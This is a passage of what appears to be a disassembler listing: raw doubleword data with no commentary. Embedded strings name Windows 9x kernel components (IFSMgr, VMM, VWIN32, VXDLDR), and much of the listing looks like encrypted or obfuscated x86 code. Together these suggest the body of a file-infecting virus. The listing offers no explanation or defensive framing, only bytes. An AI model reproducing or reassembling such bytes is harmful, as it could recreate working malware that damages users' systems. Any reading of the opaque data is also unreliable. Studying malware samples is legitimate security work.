		dd 290B2350h, 0E016AD9Dh, 61F68107h, 817B7402h,	8835CDD7h
		dd 15F6811Ch, 310E9CA9h, 0E00439BDh, 1A348907h,	83CA8B66h
		dd 816604EBh, 8131A5D0h, 0FF9CCCFBh, 0BB850FFFh, 8BFFFFFFh
		dd 0E02DF5BDh, 13E807h,	42DE0000h, 16779207h, 59D852DFh
		dd 0C874119Ch, 39DE5775h, 699D8BA6h, 5807E004h,	0E9E18166h
		dd 31C08141h, 66000072h, 8ABCD981h, 68h, 8B665E00h, 634FFCAh
		dd 19899D23h, 0F5A07E0h, 0C84h,	68F0F00h, 89000000h, 0E026C5BDh
		dd 1BEA8107h, 8B12476Eh, 0E030DD9Dh, 54F28107h,	0F590DFEh
		dd 68Eh, 99958900h, 8107E01Bh, 0DF2297C2h, 0C381663Ch
		dd 8B527390h, 0E01FBD8Dh, 30048F07h, 719D8953h,	5F07E025h
		dd 332D9D89h, 0EE8307E0h, 61BD0903h, 4E07E02Fh,	0FE8h
		dd 417F9E00h, 8392BBA0h, 0D639AEB2h, 989057D7h,	21D58D8Bh
		dd 815907E0h, 0FF8E8CFEh, 72850FFFh, 0EBFFFFFFh, 53464934h
		dd 2052474Dh, 444B5620h, 20202020h, 4D4D5620h, 20202020h
		dd 49575620h, 2032334Eh, 44585620h, 2052444Ch, 20h, 2 dup(0)
		dd 7B3E900h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0E955EEC3h, 0Bh,	9E05D2ACh, 74723EA0h
		dd 60341793h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	5DC35242h, 0C38B6660h, 5E595051h, 0BFF86061h, 4A24D610h
		dd 185C761h, 7E39Ah, 0F8000000h, 6AC68BFCh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 82B2C357h
		dd 1755CCFAh, 0ED2EBF16h, 0D8B70FF5h, 18B0Fh, 0C1F80000h
		dd 9E910E8h, 0E000000h,	40A427B9h, 0D9059FAEh, 1810Fh
		dd 66F50000h, 0E908C8C1h, 12h, 0F37AE022h, 0DD3B2E6h, 723A1628h
		dd 9DCABB38h, 85898E90h, 7E39A05h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 3AC35343h, 63B42AEAh, 3830F60h
		dd 0F000000h, 6661F0BFh, 0E908CBC1h, 0Ch, 62828A8Fh, 0D3353776h
		dd 0E9E589FEh, 50F38160h, 5244CEB5h, 850Fh, 615A0000h
		dd 0F40FB83h, 3785h, 0BE900h, 0D8690000h, 66F62536h, 0EFB521A9h
		dd 0D9BD8D25h, 0E907E399h, 0Dh,	982E301Ah, 0D7838DADh
		dd 23877BDAh, 1D2E96Ch,	840F0000h, 4, 615B5360h, 0F0DFB83h
		dd 7A85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0B035824Fh, 20CD6965h, 0E1BD8D45h
		dd 6A07E399h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0AE26C350h, 0BD9460A5h, 0FE937h
		dd 5CBA0000h, 8A4D7221h, 3FC86E58h, 24F852h, 15AE946h
		dd 0F600000h, 28Eh, 0F39B700h, 58Ch, 9B0AB800h,	83610828h
		dd 850F01FBh, 54h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0A4C35040h, 2CA821F2h, 8D53CBDDh, 0E399E9BDh
		dd 8830F07h, 60000000h,	66FBBF0Fh, 0E961C18Bh, 100h, 13E9h
		dd 22FFD200h, 15780BAAh, 0BC9ABF62h, 713CFEBCh,	5F3C6C71h
		dd 0F2AFB83h, 8C85h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 7CB41D8h, 0A79EE285h
		dd 0F1BD8D60h, 6A07E399h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 9548C351h, 1860Fh
		dd 0E9F50000h, 8Ch, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0C6C35747h, 0B9C0237Bh, 0E93042D1h, 11h
		dd 85422482h, 0D8033FFFh, 0FB393D80h, 0B3C05DA2h, 27FB836Fh
		dd 35E850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0A31C04C3h, 0F9BD8D21h, 6A07E399h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 21FDC355h, 5D3A03C1h, 0F8AF6168h,	9A09BD89h
		dd 66FC07E3h, 8E9C88Ch,	69000000h, 1F3BBA93h, 24BE18FBh
		dd 52006A03h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0BCF0F39h, 0FC00AF8h, 1EE85h, 0C830F00h
		dd 0F000000h, 683h, 850F00h, 8D000000h,	0E3A0E8B5h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 5E0C38DDh, 8BF94D32h, 0E3A13B85h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 4154294h, 8C79CD38h
		dd 11E950h, 43C90000h, 0DF36B25Bh, 24064432h, 0CF9952C6h
		dd 892E95F5h, 6A2414h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0E944A4C3h, 13h,	5AB64611h, 0A26A4B65h
		dd 0CB1D1EB6h, 1434CE13h, 0F52F287h, 0FE244C01h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 69C35343h, 2DA00307h
		dd 0BE632AB3h, 6A5A22h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0C2835EC3h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0B2E6F37Ah
		dd 728966D3h, 51006AFCh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0DC0C7689h, 0BFB08FBDh, 0F603CD8h
		dd 480h, 0C1BA6600h, 0CF8B56ABh, 0CEC1615Ah, 56006A10h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 6E927h, 3C270000h, 0FD7DADC8h, 800F60h, 0E9000000h
		dd 6, 0B7BB2364h, 0F611231h, 880h, 28F0F00h, 60000000h
		dd 72896661h, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0D49FB709h, 0CD14D235h, 57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 37A974C0h, 8CE96Eh, 8BFC0000h, 0E3A13B85h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 462FE6C6h, 56E3FB4h,	1840F62h, 0F9000000h, 0A0E8B58Dh
		dd 800F07E3h, 0Fh, 0AE9h, 0F7F7A200h, 47995AB2h, 8D8E34D8h
		dd 0E357A085h, 10830F07h, 0E9000000h, 0Bh, 0CAC3C38Ah
		dd 24397C15h, 0FF591A73h, 53006AD0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0C06D0CFDh
		dd 8589FCA3h, 7E39A01h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 47C35343h, 18269C98h,	0E9FC0303h, 14h
		dd 1BC7544Bh, 0AF10CD59h, 3D1BABB1h, 48E8C592h,	5AF950D6h
		dd 13E9h, 27315200h, 59F1B22Ch,	0D230AE4Bh, 0FB99A681h
		dd 822A10C2h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0DFA8BACEh, 8C1DB9F4h, 0BE860h, 0F9520000h
		dd 5E5F9074h, 0C02D263h, 0BF0F5A08h, 858B61DBh,	7E39A01h
		dd 13E9h, 1246B500h, 0B8E2E731h, 6B9AECFDh, 238F26EDh
		dd 0E64E0274h, 52006AC3h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 44BFCC84h, 71CFD53Dh
		dd 1870Fh, 60F50000h, 0DE9h, 2EA02E00h,	5C244488h, 0A29ACDEBh
		dd 61F87A06h, 0BD83FC60h, 7E3A13Bh, 3C850F00h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 8B8C350h,	0A70F016Fh, 85C7F5FCh, 7E3A13Bh
		dd 1013Fh, 0AE9h, 1FEAF100h, 4BFB9090h,	0E95D3BB0h, 1
		dd 20CDF9h, 0B000000h, 8D3774C0h, 0BD8B0C70h, 7E39A09h
		dd 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h, 7E39A05h, 7F34583Bh
		dd 6BD38B15h, 0CA0304D2h, 8589018Bh, 7E39A01h, 8B04EBh
		dd 8B61C5EBh, 0E39A0185h, 6ACF07h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 5160B1C3h, 9E9615Ah
		dd 82000000h, 0A7BBB34Ch, 19671577h, 93CF8160h,	5610C5C7h
		dd 0C1F4B866h, 830F6158h, 1, 0E9C08BF5h, 148h, 50h, 54h
		dd 58h,	5Ch, 60h, 64h, 68h, 6Ch, 0B0h, 0B4h, 0B8h, 0BCh
		dd 0C0h, 0C4h, 0C8h, 0CCh
dword_5869B8	dd 0D0h, 0D4h, 0D8h, 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 38h dup(0)
		dd offset dword_5869B8+20h
		dd 0A150EBh, 0A1CC858Dh, 9D8B07E3h, 7E01BA1h, 0A30C8589h
		dd 85C607E3h, 7E00759h,	0A9BD0954h, 6807E02Ah, 87160BB3h
		dd 0A890Fh, 66600000h, 14B8F18Bh, 6144870Bh, 76240481h
		dd 50674C5Ch, 9E8h, 53093600h, 0FCA02CBDh, 0F580E045h
		dd 0FF5F5EBBh, 0E0292DB5h, 0B9BD8B07h, 8D07E018h, 0E37FE885h
		dd 9D8D8907h, 0FF07E033h, 3DB589D0h, 8907E029h,	0E3A31085h
		dd 0E9FE8B07h, 40h, 56FEB70Fh, 0A30CB58Bh, 68907E3h, 0A30C8583h
		dd 5E0407E3h, 0B58D60C3h, 7E3A1CCh, 6A560FEBh, 0FF36FF00h
		dd 0E3A31095h, 0C6835E07h, 3E8304h, 0C361EC75h,	19899531h
		dd 0BD8B07E0h, 7E02CD1h, 0A3A5858Dh, 830F07E3h,	6, 11198D89h
		dd 858907E0h, 7E018C1h,	10CE9h,	0DC58E000h, 55C9738h, 0A188838Ah
		dd 0E0A1D76h, 538FDD7Ah, 2F6D3733h, 773D557Dh, 7DD57F2Dh
		dd 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h,	5375D55Fh
		dd 2F6D3733h, 773D557Dh, 7DD57F2Dh, 1E577DD7h, 75DF6D17h
		dd 60206020h, 0E0E02020h, 68AC2060h, 0E4A9F77Bh, 0B2D020A1h
		dd 0B7EDA693h, 0F291B99Dh, 6020ACA3h, 60206020h, 0E0E02020h
		dd 53752060h, 2F0D0A33h, 6020557Dh, 60206020h, 362BA728h
		dd 60C950F0h, 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h, 0E9B3F471h
		dd 60F76DB9h, 60206020h, 20206020h, 1ADF6DF7h, 7DD77335h
		dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 773D557Dh,	7DD57F2Dh
		dd 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h,	5375D55Fh
		dd 2F6D3733h, 0A1E357Dh, 3407000Eh, 0A0A3D25Dh,	1E59h
		dd 9 dup(0)
		dd 0CFCE900h, 87680000h, 0E907E3A7h, 0FFFCDBD3h, 0E3A85E68h
		dd 0DBC9E907h, 3068FFFCh, 0E907E3A9h, 0FFFCDBBFh, 0E3A9FF68h
		dd 0DBB5E907h, 7368FFFCh, 0E907E3AAh, 0FFFCDBABh, 0E3AB3B68h
		dd 0DBA1E907h, 0F068FFFCh, 0E907E3ACh, 0FFFCDB97h, 0E3ADE468h
		dd 0DB8DE907h, 9A68FFFCh, 0E907E3AEh, 0FFFCDB83h, 0E3AF9568h
		dd 0DB79E907h, 8768FFFCh, 0E907E3B0h, 0FFFCDB6Fh, 0DBF5AF97h
		dd 506A2209h, 0C7E1997Eh, 3A540CF5h, 0B2CC8668h, 0DDBF745Dh
		dd 53370923h, 0CAAD7F99h, 4026F812h, 0A18C6C86h, 0D6FC337Eh
		dd 2D94B21h, 83884228h,	0C664868Ch, 0A14D6487h,	0D62929BAh
		dd 2FF0D6D0h, 92898E46h, 3D42FCE0h, 98969B46h, 82F5FAB4h
		dd 0EBA58963h, 83EBEFE6h, 6474AB4Ah, 4BA81D23h,	0D2F51B01h
		dd 29B9A5DFh, 7F994497h, 0D28C6E48h, 7CD0D6CDh,	41809794h
		dd 0C4C98367h, 0A5DFD2CDh, 345729B9h, 29B9A57Dh, 7CCFA6F9h
		dd 0FED81776h, 0DED3F61Ch, 9829B9A5h, 5E89A45h,	0A04474Dh
		dd 6C2E5991h, 30161419h, 0E6255C76h, 0D9CAEEC3h, 2F358821h
		dd 90954F35h, 0D9CB6549h, 9B533821h, 0F2B19896h, 0A7AC570Fh
		dd 0ED09C3A9h, 0E8044FA4h, 12F8429Fh, 0DB073E58h, 22A679F8h
		dd 0A59FA55Ch, 20005BFh, 0F55D621Ch, 1F0557ACh,	18C37B5Eh
		dd 0CFE220FEh, 0D53D4h,	57000005h, 868B452Bh, 0CEE8A288h
		dd 32557EA2h, 29BAA07Fh, 0A11D94B7h, 65929BAh, 37F1D52Fh
		dd 0A7CAE18Ch, 2E5AA757h, 0B2FF22E1h, 0CC21DA9Ah, 82C9CE79h
		dd 21DA9B2Bh, 0FE5CB112h, 53D4E0C0h, 41EBh, 4FD13500h
		dd 3CB6D9F0h, 0C22E5AA0h, 9FD1E003h, 5AAD21DAh,	4A63AAAFh
		dd 5121DAA0h, 0B1AFB46Ch, 180E13CDh, 614496EBh,	8DEEFEA9h
		dd 0EBACDA30h, 0ADEC53D4h, 0DA94278Ah, 0F6FC4F21h, 0EA72h
		dd 9AC6BC00h, 2E5E7E4Ch, 0B1ABB17Ah, 0E0C11CBh,	0CA826B2Ch
		dd 1E23CEC5h, 69803A20h, 0E6AA072Ah, 719429B9h,	29B9E740h
		dd 0B90CE336h, 61661E07h, 1917646Ah, 88627933h,	93E3E8A2h
		dd 0BEC9E2A5h, 585E0970h, 0F9E3DBF6h, 0B49A29B9h, 0CFA9E0FAh
		dd 0F91C33EDh, 29B9F5B8h, 6B656BBEh, 753C5F85h,	129B9F5h
		dd 0A6FE03AEh, 83A6BD7Ah, 2E59D63Fh, 204C66B9h,	0F91C33F0h
		dd 26779156h, 0A07A91E4h, 0B3EA04BEh, 450F0987h, 0C6CC45FBh
		dd 5730EACCh, 0E63245E3h, 0CAE10FF8h, 0B2000009h, 24F610CAh
		dd 996B853Dh, 10E2FCB4h, 83556F27h, 78CDE7A1h, 3EF8DA4Fh
		dd 0B46E5224h, 2DE5C89Ah, 0A15B4113h, 99BCA787h, 21D6FA18h
		dd 0C652EC5Eh, 0A14D6487h, 654E29BAh, 957CD6ADh, 36E1D8DDh
		dd 93543630h, 0F7EEF3ADh, 7A60324Ch, 0D1ACA6C0h, 0B6D9F04Fh
		dd 2E5AA03Ch, 236A6FC2h, 21DA9F8Ah, 9FFD52B3h, 53D4EB63h
		dd 0C38Ch, 0ECC6D600h, 51484D05h, 0B16B514Bh, 8A6F49ACh
		dd 803A20D2h, 847E847Bh, 9CE3E8A2h, 29BAA222h, 1F39F3D9h
		dd 0A8AD674Dh, 4C63C050h, 8B4A330Dh, 3F45F0A8h,	5A7DC6FCh
		dd 0E3FD502Eh, 0B3CA69B7h, 0FBB39A74h, 0F4ACB2F5h, 0ABEA2677h
		dd 0B8072988h, 0FC025529h, 99738ADDh, 11E3FDB7h, 2E9C752Fh
		dd 47E632C3h, 8F3305Eh,	0A1890000h, 14FBCDE7h, 8B70425Ch
		dd 0FEE7B9D3h, 785A2C46h, 664FA4BEh, 0FB15CFB1h, 718B4529h
		dd 0EA04BC9Fh, 5E783218h, 4170937Eh, 3D21D6F9h,	492B31CBh
		dd 0A0B10023h, 6A8D29BAh, 29BAA147h, 0B205DC2Fh, 351BED07h
		dd 502A617Bh, 0E5AE5B6Eh, 0D553C2C0h, 0DC96782Ah, 0B8DAE0D7h
		dd 868B452Bh, 0CEE8A288h, 0E2BCCB84h, 4B4247FFh, 102FF145h
		dd 0F9E0BAF9h, 0F39E583Ah, 9FA45C41h, 75FA2A8h,	812E5AA6h
		dd 0B5D8172Eh, 21DA99FCh, 2C292F82h, 92CE5245h,	0E2DF3CFh
		dd 14C6D4F7h, 6DC03532h, 23001068h, 83ECE90Ch, 0F74A2F91h
		dd 0E2C7A1E0h, 7B822F2Ah, 0A9FC308Fh, 846A44A3h, 0F8DEB0CAh
		dd 113C59E5h, 0E7922201h, 5BD7A60Eh, 0ACDAC3DFh, 821h
		dd 9FB9735Bh, 142EE6CDh, 8BA55D42h, 0FE18D0B9h,	76904A2Ch
		dd 0A183B821h, 17FBCDE7h, 8E71435Dh, 4EABCD6h, 6550304Ah
		dd 0D6F86F42h, 0FB950721h, 868B452Bh, 53644923h, 17FB9A43h
		dd 0EFF5A067h, 9FB6759Bh, 0B3FE2160h, 0CB29BA88h, 13217478h
		dd 90720F1Fh, 0CA4F478Ah, 0D6292E59h, 0A38090BCh, 168E698Ch
		dd 99EC2678h, 8C2A882h,	7C361CEEh, 32F11F77h, 0B6C6F81Bh
		dd 0A4502E55h, 0A9804E4Eh, 1E35E0A3h, 9EA35B44h, 6899183Bh
		dd 92E521DAh, 0A882E1E7h, 17F108C2h, 78767B35h,	262CD78Fh
		dd 520CF2C4h, 0C2BF54Dh, 25361BF5h, 9BA23568h, 6E731E83h
		dd 0CCD18970h, 0C5242AD5h, 7997D0A2h, 0FAD32626h, 0E630F2A8h
		dd 52A2D0B9h, 2A000007h, 9C6E8842h, 11E3FDB5h, 885A742Ch
		dd 0FBCDE79Fh, 0F0455F19h, 0B67052C7h, 2CE6CA9Ch, 0A55D4012h
		dd 19D3B98Bh, 11341FFFh, 21D6F7A0h, 0D1CA64D6h,	4B05E94Fh
		dd 8DA44F46h, 59025C6Ah, 7087DA2Eh, 0DFF6B096h,	7C612005h
		dd 1DC8BFC4h, 0CACF896Bh, 996BCDD3h, 9CF4F9B3h,	0C6A0B774h
		dd 0C5242AE4h, 76E8F4A2h, 26FF5226h, 0E633B7DAh, 0DED806EFh
		dd 9E000006h, 10E2FCB6h, 85577129h, 0FCCEE8A0h,	6F415B13h
		dd 64B9D38Dh, 2AE4C67Bh, 0A05A3E10h, 19D1B486h,	8D472DFFh
		dd 85A89373h, 21D6F72Ch, 0D146E052h, 9AD9F04Fh,	0A079385Bh
		dd 0B20529BAh, 58E69ACh, 80AC2E59h, 1969DD7Fh, 55747ACFh
		dd 80ACEB02h, 499A20ACh, 0CCC6CC9Eh, 40122CE6h,	0FBB5995Ah
		dd 417093F6h, 3D21D74Bh, 8F943FEAh, 6043E937h, 0C3E6FDA8h
		dd 2675ABFBh, 1F2D113Dh, 3EF7BD5Dh, 0EBF1A98Ch,	886279CCh
		dd 92758FA2h, 0D1B45681h, 53350F26h, 0FA319399h, 7B2B1FCEh
		dd 0E2D9DE96h, 0B89B35DEh, 18D2B8B2h, 7D55BB13h, 0F3BA8B80h
		dd 0F40BB6ECh, 5A5EA1D1h, 0AB84D72Eh, 0EE102965h, 1667957Eh
		dd 66000006h, 0D8AAC47Eh, 4D1F39F1h, 0C496B068h, 370923DBh
		dd 2C819B55h, 0F2AC8E83h, 682206D8h, 0E1997C4Eh, 550FF5C7h
		dd 4D705B3Bh, 21D6F664h, 2B0EA81Ah, 23868B45h, 0A0F0C1E4h
		dd 338629BAh, 934D332Dh, 7E633D7Ch, 0CFCAC1C6h,	29BAA0E2h
		dd 0EE45499Ch, 0F0065826h, 5319399h, 0D9051C1Bh, 903E652Ch
		dd 0BE1D2316h, 7C1A57Fh, 641E0402h, 0B7BD685Fh,	5A3D8A74h
		dd 34398C2Eh, 0DA34C0EDh, 3BF5DB21h, 974F3836h,	126F9C92h
		dd 15EBFCFh, 0D1927852h, 362D32EAh, 898F868Bh, 0D48A4783h
		dd 477053h, 0D1BA0000h,	4903E94Fh, 615B879Eh, 0EB770D98h
		dd 5073D2D8h, 2E5A22A2h, 3D8489DCh, 21DA2270h, 8B90482Bh
		dd 0EBF0A88Dh, 9AE53A83h, 76D4298Ah, 53D49548h,	13CBAE88h
		dd 0DD00170Eh, 21DA15D4h, 0CD5157AAh, 115h, 8B452B17h
		dd 9F123574h, 0D729BAA0h, 0E0FC8084h, 0A7415CEAh, 745654A1h
		dd 0D1B7B5BAh, 2E141217h, 7F3F5A74h, 1E29BA10h,	0D7917738h
		dd 1630DBD2h, 661E05DFh, 6A646A61h, 6DC5CA84h, 2E6D84A3h
		dd 0FE5CCEFh, 0E59129BAh, 1BEF11B7h, 0BBC16CC3h, 5A49AE78h
		dd 563C682Eh, 0B4D60894h, 16CEB769h, 0F32F110h,	21D9DBA2h
		dd 0C4DE89DCh, 94AB8898h, 0BEF31655h, 0B821D9DBh, 0DA1C5F65h
		dd 0DC267757h, 28377A9Dh, 7B6429B8h, 0AE92ECC3h, 244349F4h
		dd 0FEE0BAD1h, 27FCB5D8h, 0BEA729B8h, 330A0106h, 903BF5D9h
		dd 43A2CEE5h, 68517D06h, 7CEB1B89h, 22BC478h, 9FBDC983h
		dd 6F75209Fh, 9F593B0Dh, 323906C6h, 8CBAA3E6h, 461h, 5F79331Bh
		dd 0D4EEA68Dh
		dd 4B651D02h, 0BED89079h, 36500AECh, 6143F8E1h,	0D7BB8DA7h
		dd 4E31031Dh, 0C4AA7C96h, 2510F00Ah, 0D6F4AF02h, 0BB55C721h
		dd 788F492Bh, 78B9C64Ch, 6E74AC2Dh, 12FBD50Ch, 585E555Ah
		dd 0A4BE785Eh, 0F04FD1AAh, 0A03CB6D9h, 6FC22E5Ah, 9F8A236Ah
		dd 52B321DAh, 0EB639FFDh, 0CF8C53D4h, 0D6000000h, 868B452Bh
		dd 0E7ECA688h, 0BAA21EA0h, 1DD7BD29h, 0DA4C706h, 6929BA9Eh
		dd 0DCAE1016h, 0DF373CF6h, 1DBF231h, 0FC5F641Ch, 0BA9DD8D9h
		dd 0A04B9E29h, 0E183B9Ah, 482E5A7Fh, 0CAA4DBF5h, 32292EE8h
		dd 0EB48D82Ch, 0F7A6B1D4h, 0AE42677h, 47666C26h, 84C6588h
		dd 733229B8h, 0B8086150h, 1FCA1D29h, 7CCE508h, 5FB229B8h
		dd 0E1C39DB4h, 0D7823C20h, 0C7AC86BDh, 61130A0Fh, 0C5BCC17Bh
		dd 29E3C5BFh, 32C3A650h, 204E37E6h, 36Dh, 536D270Fh, 0C8E29A81h
		dd 3F5911F6h, 0B2CC846Dh, 2A44FEE0h, 5537ECD5h,	0CBAF819Bh
		dd 4225F711h, 0B89E708Ah, 1904E4FEh, 0D6F3BBF6h, 0B751C321h
		dd 788F492Bh, 7D11F34Ch, 7A801D3Fh, 0A6604618h,	452B928Ch
		dd 0A288868Bh, 0CD84CEE8h, 0C5DC5BC5h, 5AA5C4A2h, 4428022Eh
		dd 59E8868Ah, 0BC2E39E2h, 8F4497B6h, 872A4D8Ch,	0EF21D9E1h
		dd 0C253969Ch, 8485AF18h, 409C1AAh, 6DB3070Dh, 0FE94B7CEh
		dd 788A84EBh, 58C82025h, 34A1C4DBh, 928A2401h, 0AAE9283Fh
		dd 0E3FF2A87h, 0FB015485h, 9D081B01h, 3DF6CBD9h, 4A1C36E1h
		dd 2DD1AA64h, 0C28A069Fh, 2B7ABD9h, 0DDC50000h,	50370923h
		dd 0C7AC7E98h, 3A23F50Fh, 0B4966882h, 228BE0FAh, 37510BEDh
		dd 0ADC78165h, 2640F8DBh, 9AB46E54h, 5ACCFBAh, 7121D6F3h
		dd 452B65FFh, 0E22E868Bh, 330B2E45h, 0C52E5A8Dh, 510E5872h
		dd 0C03DB45h, 946F421Ch, 55788F3Ah, 267A1911h, 8E462D07h
		dd 668E9289h, 29AC900Eh, 0BB0E2D33h, 2CE6CAA4h,	652C3027h
		dd 0DE6BDB97h, 8269666Ch, 95348047h, 0BCA2868Ah, 0B9ADFD02h
		dd 0F5CB7177h, 0DFF6A14Ch, 0CC49DEBCh, 19FE5871h, 0C2838408h
		dd 8F3A596Fh, 0FAE1938Ah, 9B463D42h, 955C5884h,	7CD819EAh
		dd 4FD12976h, 779AD9F0h, 6E4C883Ah, 65C49844h, 0E4885102h
		dd 0B2FF2239h, 0CC6E4BB7h, 0F1147379h, 72EAF4E4h, 0B9F80F62h
		dd 0B5A577Ah, 0D1246D2Dh, 31EBD1CBh, 0EF05EE1Ah, 2FB7F42Fh
		dd 2CB4A50Ch, 0D37ED16Dh, 0B3996BCDh, 168220F9h, 321BA2BEh
		dd 1BC04h, 1ED8C000h, 934B3204h, 0AC2A779h, 7D351EF0h
		dd 0F5AF9163h, 0E85D86DBh, 60324C06h, 0D6A8C27Ch, 4F213BF3h
		dd 0B595AF69h, 0F20AA7CAh, 27421D6h, 8B452B68h,	45E22E86h
		dd 3215EF2Eh, 677E757Ah, 0BAA16D44h, 0B0B60929h, 5A8F096Dh
		dd 122C7F2Eh, 1BF58AC8h, 267A8038h, 0FA263DFAh,	0D165897Bh
		dd 2CE4CB3Fh, 7F853027h, 6569FD20h, 855F267Ah, 0C1E0E69Eh
		dd 967D576Eh, 0DCE2D9DEh, 559F8DFh, 60B09148h, 6BB2416Ah
		dd 0CA750612h, 123574B3h, 70C84A9Fh, 0E8232BD7h, 0B9AE4E0Bh
		dd 0DDD4F70Eh, 9970C86Dh, 9DFD4046h, 0B3756854h, 233AF2D9h
		dd 0A886B100h, 747ACD6Ah, 0A5FD0255h, 82A5BC7Bh, 6F47C453h
		dd 6F4960B3h, 0D4CBD088h, 0AF956FCEh, 2204DEF5h, 0DD006368h
		dd 70C93BD4h, 0A6AC57AAh, 0CB8C7244h, 0AC8530E8h, 9F218F14h
		dd 0CA9AC8B1h, 0B2000000h, 24F610CAh, 996B853Dh, 10E2FCB4h
		dd 83556F27h, 78CDE7A1h, 3EF8DA4Fh, 0B46E5224h,	2DE5C89Ah
		dd 0A15B4113h, 99BCA787h, 21D6F118h, 2B52EC5Eh,	2E868B45h
		dd 0B2E45E2h, 2E5ABEFBh, 0E4102A7Dh, 3537A63Ch,	0A4549A71h
		dd 0D0D40E55h, 32DDAEEAh, 0C39DDC1Bh, 2C2328E0h, 0DA328031h
		dd 9DA3F621h, 7894805Ah, 0BA9CF626h, 5904FB00h,	0B6705654h
		dd 2AE4CA9Ch, 5E8C225h,	0A1A66046h, 3FAFFAAh, 7E76BAFDh
		dd 42291681h, 0A587858Ah, 0F9BAE6EBh, 0FD3259A4h, 0B67056A0h
		dd 743D609Fh, 0AEA7E7Ah, 7D4FB1B7h, 0DAD8DD97h,	0DF3CDF1h
		dd 7A595853h, 0D225EA7Eh, 0FF2C2227h, 0B87258A2h, 2CE6CC9Eh
		dd 3F927h, 248F0000h, 89432B66h, 0E6A08684h, 4800E3E1h
		dd 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h,	25DDC2C0h
		dd 833B2220h, 89526D7Eh, 4C281E2h, 81000000h, 4EAh, 24148700h
		dd 241C895Ch, 7C6068h, 243C8900h, 107068h, 242C8900h, 232ABB53h
		dd 0B951162Eh, 43815432h, 0E1C1D9F7h, 7FE18102h, 4174A332h
		dd 7EF18149h, 31616FA4h, 0DF8959CBh, 7DD6685Bh,	24890000h
		dd 24048324h, 0EC835D04h, 243C8904h, 0FF08458Fh, 815D2434h
		dd 4C4h, 2434FF00h, 4C4815Fh, 0E9000000h, 0FFFCCEEBh, 84161AAEh
		dd 1819A7BDh, 76B8D27Ch, 307E3B1h, 4BE0FFC5h, 0BA79F613h
		dd 831B0C80h, 5A0EEAA4h, 0E0432FB8h, 0C2753BE7h, 374E111Bh
		dd 61211F08h, 5C150B1Fh, 366CE2E0h, 0D11F40FBh,	41646FCAh
		dd 8255AD4Dh, 0A730D4DEh, 1458A9D8h, 6801DBDAh,	0CE73EF9Dh
		dd 0C37E0FBFh, 0E733DC20h, 1479EE45h, 28781B9Ah, 571B16DDh
		dd 1B2629E6h, 944ACC5h,	0E800C0A3h, 13h, 30D6E853h, 0AF7771AAh
		dd 64C873Eh, 0BFF1807Ch, 0F051B53h, 589h, 0F5F1BB00h, 815A64DCh
		dd 5F21C2h, 0A492B800h,	0F0812C09h, 2C09B30Ah, 0DE9h, 0C05AE300h
		dd 0DE9CB096h, 7D86B150h, 328BCD88h, 0EE81FA8Bh, 53C1EC83h
		dd 7DCCCF81h, 0C6817888h, 2A609072h, 0C887F681h, 8B667986h
		dd 8B6656D8h, 8B028FCFh, 3EA83DAh, 0BE8h, 44F25900h, 0B7EE4346h
		dd 4F42D66Ah, 5F94F380h, 850F484Ah, 21h, 0DE9h,	91A26700h
		dd 0B2B9138Ch, 0E75B95Ch, 26E999B8h, 0EB000000h, 0BA12D944h
		dd 0B5AA0CE4h, 2EE3801Ah, 0FFFF91E9h, 9E0B00FFh, 440664EEh
		dd 17DA98Ah, 3E4D7E0Dh,	4FC20815h, 75E976h, 66600000h
